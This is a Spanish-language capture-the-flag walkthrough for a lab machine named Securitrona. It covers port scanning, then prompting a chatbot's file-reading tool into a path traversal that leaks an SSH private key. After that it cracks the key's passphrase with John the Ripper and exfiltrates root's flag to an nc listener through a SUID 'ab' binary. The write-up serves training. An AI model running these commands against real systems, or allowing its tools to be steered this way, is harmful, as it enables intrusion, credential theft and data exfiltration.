Resolución del CTF Securitrona
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.
nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
Identificamos los servicios SSH (22), HTTP (80) y una aplicación web adicional en el puerto 3000.
Acceso inicial
Explotación del chatbot (Path Traversal)
El servicio del puerto 3000 expone un chatbot con acceso a herramientas internas de lectura de archivos. Mediante interacción dirigida, forzamos el uso de la función de lectura con rutas relativas fuera del directorio permitido.
Solicitamos explícitamente la lectura de la clave privada SSH del usuario del sistema mediante traversal.
../../.ssh/id_rsa
Obtenemos la clave privada del usuario securitrona, protegida por passphrase.
Cracking de passphrase y acceso SSH
Convertimos la clave privada a formato crackeable y utilizamos un diccionario estándar.
ssh2john id_rsa > rsa.hashjohn --wordlist=/usr/share/wordlists/rockyou.txt rsa.hashCon la passphrase obtenida, accedemos al sistema como el usuario comprometido.
ssh [email protected] -i id_rsaEscalada de privilegios
Abuso de binario SUID
Enumeramos binarios con bit SUID y localizamos /usr/bin/ab con permisos elevados.
find / -perm -4000 -type f 2>/dev/nullEl binario ab permite leer archivos privilegiados y enviarlos mediante peticiones HTTP. Preparamos un listener en la máquina atacante.
nc -lvnp 8000Desde el sistema comprometido, exfiltramos el archivo de root utilizando ab.
ab -p /root/root.txt http://192.168.0.100:8000/onepathRecibimos el contenido del archivo privilegiado y completamos el compromiso del sistema.
